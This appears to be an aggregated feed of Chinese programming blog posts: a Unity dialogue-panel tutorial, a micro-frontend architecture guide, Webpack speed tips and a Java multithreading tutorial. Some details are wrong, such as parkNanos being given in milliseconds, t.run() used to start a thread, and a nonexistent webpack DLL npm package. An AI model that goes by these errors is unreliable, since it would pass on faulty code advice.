        textLines = textFile.text.Split("\n");
    }

    /// <summary>
    /// 显示对话文本
    /// </summary>
    void ShowText()
    {
        dialogueText.text = textLines[lineIndex];
        lineIndex++;
    }
}

5.使用协程逐字输出

点击“N”键显示下一句对话,对话会逐字输出,当前对话未输出完,再点击“N”键即可快速显示当前对话。

using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;

public class DialoguePanel : MonoBehaviour
{
    [Header("UI组件")]
    public Image faceImage;//头像图片
    public Text dialogueText;//对话文本

    [Header("文本文件相关")]
    public TextAsset textFile;//文本文件

    int lineIndex;//文本行序号,默认为0
    string[] textLines;//文本行列表
    float textDelay;//逐字输出文本延时
    bool typeEnd;//逐字输出文本是否结束
    bool cancelType;//是否取消逐字输出

    // Start is called before the first frame update
    void Start()
    {
        lineIndex = 0;
        textDelay = 0.1f;
        typeEnd = true;
        cancelType = false;

        LoadText();
        StartCoroutine(ShowText());
    }

    // Update is called once per frame
    void Update()
    {
        //点击N输出文本
        if (Input.GetKeyDown(KeyCode.N))
        {
            //超出长度索引归零,隐藏对话面板
            if (lineIndex >= textLines.Length)
            {
                lineIndex = 0;
                gameObject.SetActive(false);
                return;
            }

            //对话输出完成后输出下一句
            if (typeEnd)
            {
                StartCoroutine(ShowText());
            }
            //对话输出未完成再次点击N则快速输出对话
            else
            {
                StopAllCoroutines();
                dialogueText.text = textLines[lineIndex];
                lineIndex++;
                typeEnd = true;
            }
        }
    }

    /// <summary>
    /// 载入文本
    /// </summary>
    void LoadText()
    {
        textLines = textFile.text.Split("\n");
    }

    /// <summary>
    /// 显示对话文本
    /// </summary>
    IEnumerator ShowText()
    {
        var line = textLines[lineIndex];
        dialogueText.text = "";
        typeEnd = false;

        //逐字延时一定时间输出
        foreach (var letter in line)
        {
            dialogueText.text += letter;
            yield return new WaitForSeconds(textDelay);
        }

        lineIndex++;
        typeEnd = true;
    }
}

6.显示头像

image.png

using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;

public class DialoguePanel : MonoBehaviour
{
    [Header("UI组件")]
    public Image faceImage;//头像图片
    public Text dialogueText;//对话文本

    [Header("文本文件相关")]
    public TextAsset textFile;//文本文件

    [Header("头像")]
    public Sprite tangFace;
    public Sprite sunFace;

    int lineIndex;//文本行序号,默认为0
    string[] textLines;//文本行列表
    float textDelay;//逐字输出文本延时
    bool typeEnd;//逐字输出文本是否结束

    // Start is called before the first frame update
    void Start()
    {
        lineIndex = 0;
        textDelay = 0.1f;
        typeEnd = true;

        LoadText();
        StartCoroutine(ShowText());
    }

    // Update is called once per frame
    void Update()
    {
        //点击N输出文本
        if (Input.GetKeyDown(KeyCode.N))
        {
            //超出长度索引归零,隐藏对话面板
            if (lineIndex >= textLines.Length)
            {
                lineIndex = 0;
                gameObject.SetActive(false);
                return;
            }

            //对话输出完成后输出下一句
            if (typeEnd)
            {
                StartCoroutine(ShowText());
            }
            //对话输出未完成再次点击N则快速输出对话
            else
            {
                StopAllCoroutines();
                dialogueText.text = textLines[lineIndex];
                lineIndex++;
                typeEnd = true;
            }
        }
    }

    /// <summary>
    /// 载入文本
    /// </summary>
    void LoadText()
    {
        textLines = textFile.text.Split("\n");
    }

    /// <summary>
    /// 显示对话文本
    /// </summary>
    IEnumerator ShowText()
    {
        //显示头像
        switch (textLines[lineIndex])
        {
            case "唐僧\r":
                faceImage.sprite = tangFace;
                lineIndex++;
                break;
            case "孙悟空\r":
                faceImage.sprite = sunFace;
                lineIndex++;
                break;
        }

        var line = textLines[lineIndex];
        dialogueText.text = "";
        typeEnd = false;

        //逐字延时一定时间输出
        foreach (var letter in line)
        {
            dialogueText.text += letter;
            yield return new WaitForSeconds(textDelay);
        }

        lineIndex++;
        typeEnd = true;
    }
}

7.显示对话面板

设置隐藏对话面板

image.png

Canva挂载新建的脚本GameManager.cs

image.png

using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class GameManager : MonoBehaviour
{
    public GameObject dialoguePanel;//对话面板

    // Start is called before the first frame update
    void Start()
    {
        
    }

    // Update is called once per frame
    void Update()
    {
        //如果对话面板未显示,按下D键则显示对话面板
        if(!dialoguePanel.activeSelf && Input.GetKeyDown(KeyCode.D))
        {
            dialoguePanel.SetActive(true);
        }
    }
}

by Jackson90 at January 24, 2025 11:24 PM

微前端技术全景解析与实战指南

一、架构范式演进与核心概念

1.1 从单体到微前端的技术演进

graph TD
  A[单体巨石应用] --> B[垂直业务拆分]
  B --> C[服务端微服务化]
  C --> D{前端新挑战}
  D --> E[组件化开发]
  D --> F[微前端架构]
  F --> G[模块联邦化]
  F --> H[边缘计算融合]

1.2 微前端核心能力矩阵

维度传统SPA微前端方案模块联邦
技术栈统一性强制统一多技术栈共存模块级共享
部署效率全量发布独立部署增量更新
团队协作高度耦合松散耦合资源级解耦
性能成本首屏压力大按需加载动态依赖解析

二、主流架构模式深度对比

2.1 六大实现方案全景

(1) 路由分发式(qiankun)

// 主应用配置示例
import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'vueApp',
    entry: '//localhost:7101',
    container: '#subContainer',
    activeRule: '/vue',
    props: { userInfo: { name: 'John' } }
  }
]);
start({ prefetch: 'all' });

(2) Web Components 原生方案

<!-- 主应用集成 -->
<script src="https://cdn.example.com/legacy-system.js"></script>
<legacy-widget user-id="123"></legacy-widget>

<!-- 子应用定义 -->
<script>
  class LegacyWidget extends HTMLElement {
    connectedCallback() {
      this.innerHTML = `<div>用户ID: ${this.getAttribute('user-id')}</div>`;
    }
  }
  customElements.define('legacy-widget', LegacyWidget);
</script>

运行 HTML

(3) 模块联邦(Webpack 5)

// 子应用配置
new ModuleFederationPlugin({
  name: 'app1',
  filename: 'remoteEntry.js',
  exposes: { './Header': './src/components/Header' },
  shared: { react: { singleton: true } }
});

// 主应用消费
const Header = React.lazy(() => import('app1/Header'));

(4) 无界(Wujie)组件化方案

<template>
  <wujie-app 
    name="react-subapp" 
    url="http://localhost:7102"
    :sync="true"
    :props="{ theme: darkMode }"
    @hook="handleLifecycle"
  />
</template>

<script>
export default {
  methods: {
    handleLifecycle(e) {
      console.log(`子应用${e.detail.name}进入${e.detail.status}阶段`);
    }
  }
}
</script>

(5) iframe 增强模式

// 现代优化实践
const smartIframe = document.createElement('iframe');
smartIframe.style = 'width: 100%; height: 600px; border: none;';
smartIframe.sandbox = 'allow-scripts allow-same-origin';
smartIframe.src = 'https://legacy.example.com';
smartIframe.addEventListener('load', initSandbox);

function initSandbox() {
  const proxyWindow = new Proxy(window, {
    get(target, key) {
      return key in modifiedProps ? modifiedProps[key] : target[key];
    }
  });
  smartIframe.contentWindow.__PROXY__ = proxyWindow;
}

2.2 方案选型决策矩阵

场景需求推荐方案关键优势
旧系统渐进迁移qiankun完整生命周期管理,社区成熟
跨团队技术异构Web Components原生支持,零框架约束
高频交互模块共享Module Federation细粒度复用,构建优化
第三方系统快速集成无界零改造接入,DOM级沙箱
严格安全隔离场景iframe增强浏览器级安全保证

三、核心技术实现深度剖析

3.1 沙箱隔离机制对比

classDiagram
  class Sandbox {
    +createProxy(): WindowProxy
    +mount(): void
    +unmount(): void
  }

  class SnapshotSandbox {
    -windowSnapshot: Map
    -modifyProps: Map
    +activate()
    +deactivate()
  }

  class ProxySandbox {
    -fakeWindow: Object
    +proxy: WindowProxy
  }

  Sandbox <|-- SnapshotSandbox
  Sandbox <|-- ProxySandbox

性能指标对比(单位:ms)

操作类型快照沙箱代理沙箱iframe原生
初始化耗时1228150
属性访问延迟0.020.150.01
上下文切换成本4518320

3.2 跨应用通信方案演进

(1) 传统postMessage方案

// 父应用
iframe.contentWindow.postMessage(
  { type: 'UPDATE_USER', data: { id: 123 } }, 
  'https://sub.app'
);

// 子应用
window.addEventListener('message', (e) => {
  if (e.origin !== 'https://main.app') return;
  handleMessage(e.data);
});

(2) 无界事件总线方案

// 主应用发送
window.$wujie?.bus.$emit('global-event', { action: 'refresh' });

// 子应用接收
window.$wujie?.bus.$on('global-event', (payload) => {
  console.log('收到全局事件:', payload);
});

(3) 状态管理共享方案

// 共享状态定义
interface GlobalState {
  user: User;
  theme: Theme;
}

// 使用RxJS实现
const state$ = new BehaviorSubject<GlobalState>(initialState);

// 子应用订阅
state$.subscribe((state) => {
  updateTheme(state.theme);
});

四、工程化体系建设方案

4.1 CI/CD全链路设计

graph LR
  A[子应用提交] --> B[代码扫描]
  B --> C[单元测试]
  C --> D[构建产物]
  D --> E[版本标记]
  E --> F[CDN发布]
  F --> G[更新Manifest]
  G --> H[主应用同步]
  H --> I[自动化回归]

4.2 监控体系关键指标

监控层级核心指标推荐工具
资源加载FCP/LCP/TTILighthouse + Web Vitals
运行时性能Memory Usage/FPSPerformance API
异常监控JS Error率/资源加载失败率Sentry + Fundebug
安全审计XSS攻击次数/非法请求拦截率OWASP ZAP + 沙箱日志
业务指标PV/UV/功能使用率自定义埋点 + GA

五、前沿架构演进方向

5.1 边缘微前端架构

// 边缘节点处理逻辑
export default {
  async fetch(request, env) {
    const subApp = await env.ASSETS.fetch('https://cdn/app1');
    return new HTMLRewriter()
      .on('portal', new PortalHandler())
      .transform(subApp);
  }
};

class PortalHandler {
  element(element) {
    element.append(`
      <portal src="/pre-rendered" style="display:none;"></portal>
    `, { html: true });
  }
}

5.2 WASM增强方案

// 高性能计算模块
#[wasm_bindgen]
pub fn process_image(input: &[u8]) -> Vec<u8> {
    let mut img = image::load_from_memory(input).unwrap();
    img = img.grayscale();
    let mut output = Vec::new();
    img.write_to(&mut output, image::ImageOutputFormat::Png).unwrap();
    output
}

六、企业级最佳实践案例

6.1 金融中台系统改造

挑战

  • 15+业务模块混合Angular/React技术栈
  • 需要实时数据同步
  • 严格监管合规要求

解决方案

graph TD
  M[主基座] --> Q(qiankun管理核心交易)
  M --> W(无界集成第三方风控)
  M --> F(Module Federation共享UI组件)
  M --> I(iframe封装报表系统)

性能优化成果

指标改造前改造后
首屏加载时间4.8s1.2s
内存占用峰值1.2GB450MB
部署迭代周期2周按需发布

6.2 跨组织协作平台

创新实践

  • 使用Portals API实现供应商系统无缝预览
  • 无界沙箱隔离第三方代码
  • WebAssembly加速文档渲染

技术亮点

pie
  title 技术收益分布
  "加载性能提升" : 42
  "内存占用降低" : 28
  "开发效率提升" : 20
  "安全事件减少" : 10

七、演进趋势与未来展望

7.1 技术融合方向预测

mindmap
  root((微前端))
    --> 智能化("智能调度")
      --> 流量感知加载
      --> 自适应沙箱
    --> 云原生化("云原生深度集成")
      --> Serverless运行时
      --> 边缘渲染引擎
    --> 沉浸式("空间计算支持")
      --> WebXR模块联邦
      --> 3D资源动态加载

7.2 开发者体验升级路径

当前痛点演进方向代表技术
多应用调试困难分布式调试协议Chrome DevTools Protocol
状态同步复杂CRDT自动同步算法Yjs + Automerge
样式污染风险智能CSS作用域分析UnoCSS + 原子化方案
构建速度瓶颈按需编译引擎Vite + Rolldown

by 一碗下酒菜 at January 24, 2025 11:01 PM

请问如何优化webpack的打包速度?

优化 Webpack 的打包速度

优化 Webpack 的打包速度是提升前端构建效率的关键。以下是一些有效的优化策略:

1. 使用生产模式

Webpack 提供了 --mode 参数,可以通过设置为 production 来启用内置的优化:

webpack --mode production

这一模式下,Webpack 会自动进行代码压缩、树摇等优化。

2. 使用缓存

开启 Webpack 的缓存功能可以显著加快增量构建的速度:

module.exports = {
  cache: {
    type: 'filesystem', // 使用文件系统缓存
  },
};

3. 限制入口和输出

合理设置入口和输出,避免不必要的打包:

module.exports = {
  entry: './src/index.js', // 明确指定入口
  output: {
    filename: 'bundle.js',
    path: path.resolve(__dirname, 'dist'),
  },
};

4. 使用多线程

借助 thread-loader 可以实现多线程构建,从而提升编译速度:

npm install thread-loader --save-dev
module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        use: 'thread-loader',
      },
    ],
  },
};

5. 利用 DLL 插件

DLL 插件可以将第三方库打包到一个独立的文件中,减少每次构建的时间:

npm install webpack-dll-plugin --save-dev
// webpack.dll.config.js
const webpack = require('webpack');

module.exports = {
  entry: {
    vendor: ['react', 'react-dom'], // 指定需要打包的库
  },
  output: {
    path: path.join(__dirname, 'dll'),
    filename: '[name].dll.js',
    library: '[name]_[hash]', // 输出库的名称
  },
  plugins: [
    new webpack.DllPlugin({
      name: '[name]_[hash]',
      path: path.join(__dirname, 'dll', '[name]-manifest.json'), // 输出 manifest 文件
    }),
  ],
};

6. 分析打包结果

使用 Webpack 的分析工具(如 webpack-bundle-analyzer)来识别打包中的冗余模块:

npm install webpack-bundle-analyzer --save-dev
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;

module.exports = {
  plugins: [
    new BundleAnalyzerPlugin(), // 添加分析插件
  ],
};

7. 使用按需加载

通过动态导入实现按需加载,减少初始包的体积:

import(/* webpackChunkName: "lodash" */ 'lodash').then(_ => {
  console.log(_.join(['Hello', 'webpack'], ' '));
});

8. 减少不必要的模块解析

配置 Webpack 的 resolve 选项,减少模块解析时的搜索路径:

module.exports = {
  resolve: {
    extensions: ['.js', '.jsx'], // 明确指定解析的文件后缀
    alias: {
      '@': path.resolve(__dirname, 'src'), // 使用别名简化路径
    },
  },
};

9. 使用合适的 Loader 和 Plugin

选择合适的 Loader 和 Plugin,避免使用过多的插件,提高构建效率。例如,使用 babel-loader 时可以通过设置 cacheDirectory 来缓存编译结果:

{
  test: /\.js$/,
  use: {
    loader: 'babel-loader',
    options: {
      cacheDirectory: true, // 启用缓存
    },
  },
}

10. 进行代码拆分

利用 Webpack 的代码拆分功能,将大文件分割成多个小文件,减少打包时间和提升加载速度:

module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all', // 对所有引入的模块进行拆分
    },
  },
};

11. 减少 Polyfill 和 Shim

如果项目中使用了很多 Polyfill 或 Shim,考虑将它们移到需要的模块中,而不是全局导入。

12. 监控和调优

通过 webpack --profile 或使用 stats 选项来监控打包过程,识别瓶颈并进行优化。

module.exports = {
  stats: {
    colors: true,
    reasons: true,
  },
};

总结

通过以上策略,您可以有效地优化 Webpack 的打包速度。合理配置 Webpack、利用缓存、按需加载、代码拆分等手段,能够显著提升构建效率与用户体验。

by Riesenzahn at January 24, 2025 10:26 PM

juejin backend

【后端之旅】多线程 Thread 篇

多线程是 Java 最基本的并发模型。而后面的 IO、网络均依赖该模型。毕竟,多线程是 Java 实现多任务的基础。

线程创建

  1. 继承 Thread

    /**
     * Thread 实体类
     */
    public class FirstThread extends Thread {
        @Override
        public void run() {
            System.out.println("Hello, Thread 01!");
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) {
            FirstThread t = new FirstThread();
            t.start();
        }
    }
    

    优点:可使用 this 访问当前线程

    缺点:在单继承的 Java 中,继承了 Thread 类后便不能继承其他类

  2. 实现 Runnable 接口

    /**
     * Runnable 实体类
     */
    public class SecondRunnable implements Runnable {
        @Override
        public void run() {
            System.out.println("Hello, Runnable 02!");
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) {
            Thread t = new Thread(new SecondRunnable());
            t.run();
        }
    }
    

    优点:可继承其他类

    缺点:只能使用 Thread.currentThread() 方法来访问当前线程

  3. 实现 Callable 接口

    /**
     * Callable 实体类
     */
    public class ThirdCallable implements Callable<String> {
        @Override
        public String call() throws Exception {
            System.out.println("Hello, Callable 03!");
    
            return "Callable result";
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) {
            ThirdCallable task = new ThirdCallable();
            FutureTask<String> futureTask = new FutureTask<>(task);
            Thread t = new Thread(futureTask);
            t.start();
    
            try {
                String result = futureTask.get();
                System.out.println("The result is: " + result);
            } catch (ExecutionException e) {
                e.printStackTrace();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
    

    优点:可继承其他类;可直接获得线程的运行返回值

    缺点:只能使用 Thread.currentThread() 方法来访问当前线程;须与 FutureTask 类结合使用,创建过程较为复杂

  4. 引入 Executors 线程池

    /**
     * 任务实体类
     */
    public class Task implements Runnable {
        private int id;
        public Task(int id) {
            this.id = id;
        }
    
        @Override
        public void run() {
            System.out.println("Hello, Task " + id + "!");
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) {
            // 创建固定十个大小的线程池
            ExecutorService executor = Executors.newFixedThreadPool(10);
            for (int i = 0; i < 100; i++) {
                // 将 Runnable 实例提交到线程池执行
                executor.submit(new Task(i));
            }
            // 彻底关闭线程池
            executor.shutdown();
        }
    }
    

    优点:拥有 Runnable 的全部优点;线程的创建细节交由线程池实现,实现线程的重复利用,大大提高了程序的性能;线程池可预先创建线程,从而可以快速响应并发请求;线程池控制了线程的最大数量,从而避免线程过多创建导致系统崩溃的情况

    缺点:拥有 Runnable 的全部缺点;增加了程序的复杂度,也增加了排错的难度

线程启动与停止

线程启动

通过上一小节的内容,我们知道通过 Thread 创建的线程,必须使用 start() 实例方法来启动线程;而通过 Executors 创建的线程池,则只需要把 Runnable 实例提交给 ExecutorService 实例即可,无需额外调用启动方法。

线程停止

首先应该说明:run() 方法执行完毕后,线程会自然地停止。只有在该方法内部出现诸如 while (true) { ... } 这样的代码时,线程才会一直执行下去。

  • 返回停止法

    线程实例在外部调用 interrupt() 方法为线程打上中断状态后,在 run() 方法内部可以通过 isInterrupted() 判断当前线程的中断状态,如果为 true 则执行 return,也可达到中断线程的效果。

    /**
     * Thread 实体类
     */
    public class FinalThread extends Thread {
        @Override
        public void run() {
            System.out.println("Start!");
            while (!this.isInterrupted()) {
                System.out.println("Still running...");
                try {
                    Thread.sleep(100);
                } catch (InterruptedException e) {
                    System.out.println("End!");
                    return;         // 或者 break; 也可以
                }
            }
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) throws InterruptedException {
            FinalThread t = new FinalThread();
            t.start();
            Thread.sleep(1000);
            t.interrupt();
        }
    }
    
  • 标记停止法

    线程实体类定义一个布尔属性 running (使用 volatile 修饰),用来标记当前线程是否退出。而 run() 方法内部的业务代码放置 于 while (running) { ... } 代码块内。当外部设置了 runningfalse 后,线程不再执行下一轮循环,从而达到停止线程的效果。

    /**
     * Thread 实体类
     */
    public class FinalThread extends Thread {
        public volatile boolean running = true;
    
        @Override
        public void run() {
            System.out.println("Start!");
            while (running) {
                System.out.println("Still running...");
                try {
                    Thread.sleep(100);
                } catch (InterruptedException e) {
                    break;
                }
            }
            System.out.println("End!");
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) throws InterruptedException {
            FinalThread t = new FinalThread();
            t.start();
            Thread.sleep(1000);
            t.running = false;
        }
    }
    
  • 暴力停止法

    直接调用 stop() 实例方法终止后续代码的执行,即使后续代码是 finally 块。此方法已过期,不再推荐使用。

    /**
     * Thread 实体类
     */
    public class FinalThread extends Thread {
        @Override
        public void run() {
            System.out.println("Start!");
            while (true) {
                System.out.println("Still running...");
            }
        }
    }
    
    /**
     * 入口
     */
    public class Application {
        public static void main(String[] args) throws InterruptedException {
            FinalThread t = new FinalThread();
            t.start();
            Thread.sleep(50);
            t.stop();
            t.join(); // 等待线程 t 结束后再执行后续代码
            System.out.println("End!");
        }
    }
    

线程状态

状态就是生命周期中某一阶段的特征。下列状态图的 t 表示线程实例,并且双向的 t 都是同一个引用。

  • NEW - 线程已创建,但未调用 start() 方法

    graph LR
       A[NEW] -- "&nbsp;t.start()&nbsp;" --> B[RUNNABLE]
       style A fill:#A9DEF9
       style B fill:#D3F8DA
    
  • RUNNABLE - 线程已调用 start() 方法,但操作系统未调度该线程

    请注意:

    1. RUNNABLE 其实还可以细分为 READYRUNNING,但由于这两个状态完全是由操作系统调度决定,所以这里不做更多介绍。
  • BLOCKED - 因为某些操作或外部原因而阻塞,被操作系统挂起

    graph LR
       B[RUNNABLE] -- "&nbsp;执行 synchronized 方法或块等待锁&nbsp;" --> C[BLOCKED]
       C[BLOCKED] -- "&nbsp;获得锁&nbsp;" --> B[RUNNABLE]
       style B fill:#D3F8DA
       style C fill:#EDE7B1
    
  • WAITING - 等待中,需要另一线程执行特定的方法来唤醒

    请注意:

    1. 调用 obj.wait()t.join()LockSupport.park(),是调用该方法的线程进入 WAITING 状态,而非 t 进入等待状态!
    2. obj.wait() 的具体作用是释放 obj 的同步锁,当前线程进入等待状态;而 t.join() 则是当前线程进入等待状态,直到 t 线程执行完毕。
    3. obj.notify() 通常是从等待池中把最早等待 obj 锁的那个线程移至锁竞争池。而 obj.notifyAll() 则是把等待池中全部的线程都移至锁竞争池。如果等待池没有等待 obj 锁的线程,则会抛出异常。
    4. 如果 t 本身已结束,则调用 t.join() 会立即返回,并继续执行后续代码。
    5. LockSupport.park() 只会令当前进程进入阻塞状态,但不会释放持有的锁。
    graph LR
       B[RUNNABLE] -- "&nbsp;obj.wait()&nbsp;" --> D[WAITING]
       B[RUNNABLE] -- "&nbsp;t.join()&nbsp;" --> D[WAITING]
       B[RUNNABLE] -- "&nbsp;LockSupport.park()&nbsp;" --> D[WAITING]
       D[WAITING] -- "&nbsp;LockSupport.unpark(thread)&nbsp;" --> B[RUNNABLE]
       D[WAITING] -- "&nbsp;t 内部的 run() 执行完毕&nbsp;" --> B[RUNNABLE]
       D[WAITING] -- "&nbsp;obj.notify() 或 obj.notifyAll()&nbsp;" --> B[RUNNABLE]
       style B fill:#D3F8DA
       style D fill:#E3D4E7
    
  • TIMED_WAITING - 等待中,但超过给定时间后会自动返回就绪状态

    请注意:

    1. LockSupport.parkNanos(long) 的参数是指阻塞等待的最大时长,单位为毫秒;LockSupport.parkUntil(long) 的参数是指阻塞等待的最久时间点,即时间戳。
    graph LR
       B[RUNNABLE] -- "&nbsp;obj.wait(long)&nbsp;" --> E[TIMED_WAITING]
       B[RUNNABLE] -- "&nbsp;t.join(long)&nbsp;" --> E[TIMED_WAITING]
       B[RUNNABLE] -- "&nbsp;LockSupport.parkNanos(long) 或 LockSupport.parkUntil(long)&nbsp;" --> E[TIMED_WAITING]
       E[TIMED_WAITING] -- "&nbsp;LockSupport.unpark(thread)&nbsp;" --> B[RUNNABLE]
       E[TIMED_WAITING] -- "&nbsp;t 内部的 run() 执行完毕或超时&nbsp;" --> B[RUNNABLE]
       E[TIMED_WAITING] -- "&nbsp;obj.notify() 或 obj.notifyAll()&nbsp;" --> B[RUNNABLE]
       style B fill:#D3F8DA
       style E fill:#EAD0EE
    
  • TERMINATED - 线程的 run() 方法已执行结束并返回

    graph LR
       B[RUNNABLE] -- "&nbsp;run() 结束&nbsp;" --> F[TERMINATED]
       style B fill:#D3F8DA
       style F fill:#F9CECD
    

守护线程

用途:某些线程在启动后需要无限循环,但当非守护线程全部结束后,JVM 需要无感知退出。

示例

/**
 * Thread 实体类
 */
public class ForeverThread extends Thread {
    @Override
    public void run() {
        System.out.println("Start!");
        while (true) {
            System.out.println("Still running...");
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                break;
            }
        }
    }
}

/**
 * 入口
 */
public class Application {
    public static void main(String[] args) throws InterruptedException {
        Thread t = new ForeverThread();
        t.setDaemon(true);    // 只需要在 start() 方法调用前执行该方法即可
        t.start();
        // 执行到这里后,t 还是结束了
    }
}

线程安全

如果一个类被设计为允许多线程正确访问,我们就称该类是线程安全的。而一个非线程安全的类,则由于 Java 的线程可以直接修改线程外变量的值,在多个线程同时访问时容易出现竞态现象。要消除该现象,实现多线程编程时需要做到以下三点:

  • 原子性 - 提供互斥访问,即同一时刻只能由一个线程对数据进行一组操作,其他线程不能打扰
    • atomic 系列类
      /**
       * 实体类
       */
      public class AtomicCounter {
          // JVM 使用 CAS 机制确保无锁同步
          private AtomicInteger n = new AtomicInteger(0);
      
          public void increment() {
              // 自加并返回,相当于 ++n
              n.incrementAndGet();
          }
      
          public void decrement() {
              // 自减并返回,相当于 --n
              n.decrementAndGet();
          }
      
          public int getValue() {
              return n.get();
          }
      }
      
      /**
       * 入口
       */
      public class Application {
          public static void main(String[] args) throws InterruptedException {
              AtomicCounter counter = new AtomicCounter();
              Thread t1 = new Thread(() -> {
                  for (int i = 0; i < 100; i++) {
                      counter.increment();
                  }
              });
              Thread t2 = new Thread(() -> {
                  for (int i = 0; i < 100; i++) {
                      counter.increment();
                  }
              });
      
              t1.start();
              t2.start();
      
              t1.join();
              t2.join();
      
              // 将输出:Result = 200
              System.out.println("Result = " + counter.getValue());
          }
      }
      
    • synchronized 关键字
      /**
       * 实体类
       */
      public class SynchronizedCounter {
          private int n = 0;
      
          // 被加锁的,永远是对象。当前被加锁的,就是实例本身
          public synchronized void increment() {
              ++n;
          }
      
          public synchronized void decrement() {
              --n;
          }
      
          public synchronized int getValue() {
              return n;
          }
      }
      
      /**
       * 入口
       */
      public class Application {
          public static void main(String[] args) throws InterruptedException {
              SynchronizedCounter counter = new SynchronizedCounter();
              Thread t1 = new Thread(() -> {
                  for (int i = 0; i < 100; i++) {
                      counter.increment();
                  }
              });
              Thread t2 = new Thread(() -> {
                  for (int i = 0; i < 100; i++) {
                      counter.increment();
                  }
              });
      
              t1.start();
              t2.start();
      
              t1.join();
              t2.join();
      
              // 将输出:Result = 200
              System.out.println("Result = " + counter.getValue());
          }
      }
      
  • 可见性 - 一个线程修改了共享变量,其他线程能立即感知该变量已被修改
    • volatile 关键字
      /**
       * 实体类
       */
      public class VolatileEntity {
          // volatile 关键字保证了访问 flag 的有序性(阻止了指令的重排)
          private volatile boolean flag = false;
      
          public boolean getFlag() {
              return flag;
          }
      
          public void setFlag(boolean flag) {
              this.flag = flag;
          }
      }
      
      /**
       * 入口
       */
      public class Application {
          public static void main(String[] args) {
              VolatileEntity entity = new VolatileEntity();
      
              Thread t1 = new Thread(() -> {
                  System.out.println("t1 is starting...");
                  while (!entity.getFlag());
                  System.out.println("t1 is ended.");
              });
              Thread t2 = new Thread(() -> {
                  try {
                      Thread.sleep(1000);
                  } catch (InterruptedException e) {
                      Thread.currentThread().interrupt();
                  }
                  entity.setFlag(true);
              });
      
              t1.start();
              t2.start();
          }
      }
      
    • synchronized 关键字
      /**
       * 实体类
       */
      public class SynchronizedEntity {
          private boolean flag = false;
      
          // synchronized 确保了线程间的可见性(当某线程进入本方法,它会读取共享变量的最新值)
          public synchronized boolean getFlag() {
              return flag;
          }
      
          // synchronized 确保了线程间的可见性(当某线程退出本方法,它会将共享变量的更新值写回主存)
          public synchronized void setFlag(boolean flag) {
              this.flag = flag;
          }
      }
      
      /**
       * 入口
       */
      public class Application {
          public static void main(String[] args) {
              SynchronizedEntity entity = new SynchronizedEntity();
      
              Thread t1 = new Thread(() -> {
                  System.out.println("t1 is starting...");
                  while (!entity.getFlag());
                  System.out.println("t1 is ended.");
              });
              Thread t2 = new Thread(() -> {
                  try {
                      Thread.sleep(1000);
                  } catch (InterruptedException e) {
                      Thread.currentThread().interrupt();
                  }
                  entity.setFlag(true);
              });
      
              t1.start();
              t2.start();
          }
      }
      
  • 有序性 - 确保重排序后的执行结果与重排序前一致

线程池

在前面的线程创建部分,我们已经知道线程池为多个线程提供了一种统一的管理方式。也知道了线程的主要好处包括:

  • 降低系统资源消耗
  • 控制并发数量以防止服务器过载
  • 便于统一管理和维护线程

线程池作为管理多个线程的载体,与线程一样,也有自身的生命周期,即不同的状态:

  • RUNNING —— 线程池创建后默认处于此状态,能接受新提交的任务,并且也能处理阻塞队列中的任务。
  • SHUTDOWN —— 调用 shutdown() 方法后进入此状态,不再接受新提交的任务,但可以处理存量任务。
  • STOP —— 调用 shutdownNow() 方法后变为此状态,不仅不接收新任务,还会尝试中断正在执行的任务,并且不会处理尚未开始执行的任务。
  • TIDYING —— 当所有的任务都已经终止并且 workerCount(活动工作线程数)为 0 时,线程池将转换到此状态,并触发 terminated() 钩子方法。
  • TERMINATED —— terminated() 方法执行完毕后,线程池最终进入此状态,表明线程池已经彻底关闭,无法再进行任何操作。

前面的代码中,我们使用了定长线程池。事实上,线程池的种类非常多,下面将介绍最常用的 5 种:

  • 定长线程池

    创建指定数量的线程,当所有线程全部处于活动状态时,再提交的任务会在队列中等待,直到有线程可用。特点是被创建线程会一直存在,直到线程池调用了 shutdown()

    ExecutorService es = Executors.newFixedThreadPool(10);
    
  • 单个线程池

    线程池只会用唯一的工作线程来执行任务。会确保在任何情况下都不会有超过一个任务处于活动状态。主要特点该线程池无法再通过其他方法修改线程的数量,这是与 newFixedThreadPool(1) 不同的地方。

    ExecutorService es = Executors.newSingleThreadExecutor();
    
  • 无限线程池

    扩容大小为 (int) 的最大值,即可理解为无限大。而具体大小则根据传递进去的线程数量决定。当然,调用 execute() 时会优先重用以前构造的线程。而被构造或释放的线程,默认 60 秒不适用即被终止和移除。

    ExecutorService es = Executors.newCachedThreadPool();
    
  • 计划线程池

    创建指定数量的线程,任务的运行则可以指定在延迟时间后执行,或者定期执行。而任务的添加,与其他线程池使用 submit() 方法不一样的是,计划线程池使用 schedule() 方法(这样才可以设置时间参数)。空闲的线程会进行保留,直到线程池调用了 shutdown()

    ScheduledExecutorService es = Executors.newScheduledThreadPool(10);
    
  • 并行线程池

    获取当前可用的线程数量进行创建作为并行级别。并行级别决定了同一时刻最多有几个线程在执行,不传参则默认为 CPU 核心数目。主要用途是处理可并行化且计算密集型的任务。当某个线程执行完自己队列中的任务后,它会尝试从其他线程的队列中“窃取”任务来执行,从而实现了负载均衡。

    // Runtime.getRuntime().availableProcessors() 可查看本机 CPU 核心数目
    ExecutorService es = Executors.newWorkStealingPool();
    

ThreadLocal

如果把线程看作一个语句块,那么,在这个块中声明局部变量就是最基本的需求。Java 使用 ThreadLocal 来将一个类的属性声明为线程的局部变量。

可把 ThreadLocal 看成一个全局的 Map<Thread, Object>,即每个线程内部获取 ThreadLocal 变量时,永远是以 Thread 自身作为 key。而各个线程的 ThreadLocal 关联的 Object 实例互不干扰。

